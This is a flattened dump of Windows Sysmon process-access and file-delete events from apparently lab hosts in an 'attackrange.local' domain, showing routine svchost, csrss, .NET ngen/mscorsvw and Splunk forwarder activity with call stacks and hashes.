14:45:18.438{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.438{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7E-613B-410A-00000000F001}5464C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.438{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F7E-613B-410A-00000000F001}5464C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000045260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.288{7BD73061-6F7E-613B-410A-00000000F001}5464C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000045259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.388{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7E-613B-430A-00000000F001}4960C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.368{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7E-613B-430A-00000000F001}4960C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.368{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7E-613B-430A-00000000F001}4960C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.308{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7E-613B-420A-00000000F001}4976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.298{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7E-613B-420A-00000000F001}4976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.298{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7E-613B-420A-00000000F001}4976C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.237{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7E-613B-400A-00000000F001}6240C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.207{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7E-613B-400A-00000000F001}6240C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.198{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7E-613B-400A-00000000F001}6240C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.198{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=1BB6B8607050C296432036B34B022BA0,SHA256=E62E051CE082157DB7E79ABED3928EBC33A782F1B72BB324CDF5BB592ADEC129,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.107{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7E-613B-3F0A-00000000F001}400C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.066{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7E-613B-3F0A-00000000F001}400C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:18.066{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7E-613B-3F0A-00000000F001}400C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014002Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:19.951{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BD27D1D25AAD88FC0B2666D460C5B565,SHA256=4371F6080D0D50FA3A6361EF52DA12B71FAD4F07F702E3564DCD41C8CB2552C4,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.980{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7F-613B-4E0A-00000000F001}1172C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.968{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7F-613B-4E0A-00000000F001}1172C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.968{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7F-613B-4E0A-00000000F001}1172C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.900{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7F-613B-4C0A-00000000F001}6388C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.880{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7F-613B-4C0A-00000000F001}6388C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.880{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7F-613B-4C0A-00000000F001}6388C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.619{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=60382B18A0E52446471CF0F5E6CD1FDD,SHA256=DF5C1E8F7F575B286AED6D2693F1DFD4A1F8274D0A3C60D0B1D9A96674E65FBC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:19.378{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7F-613B-4B0A-00000000F001}6752C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 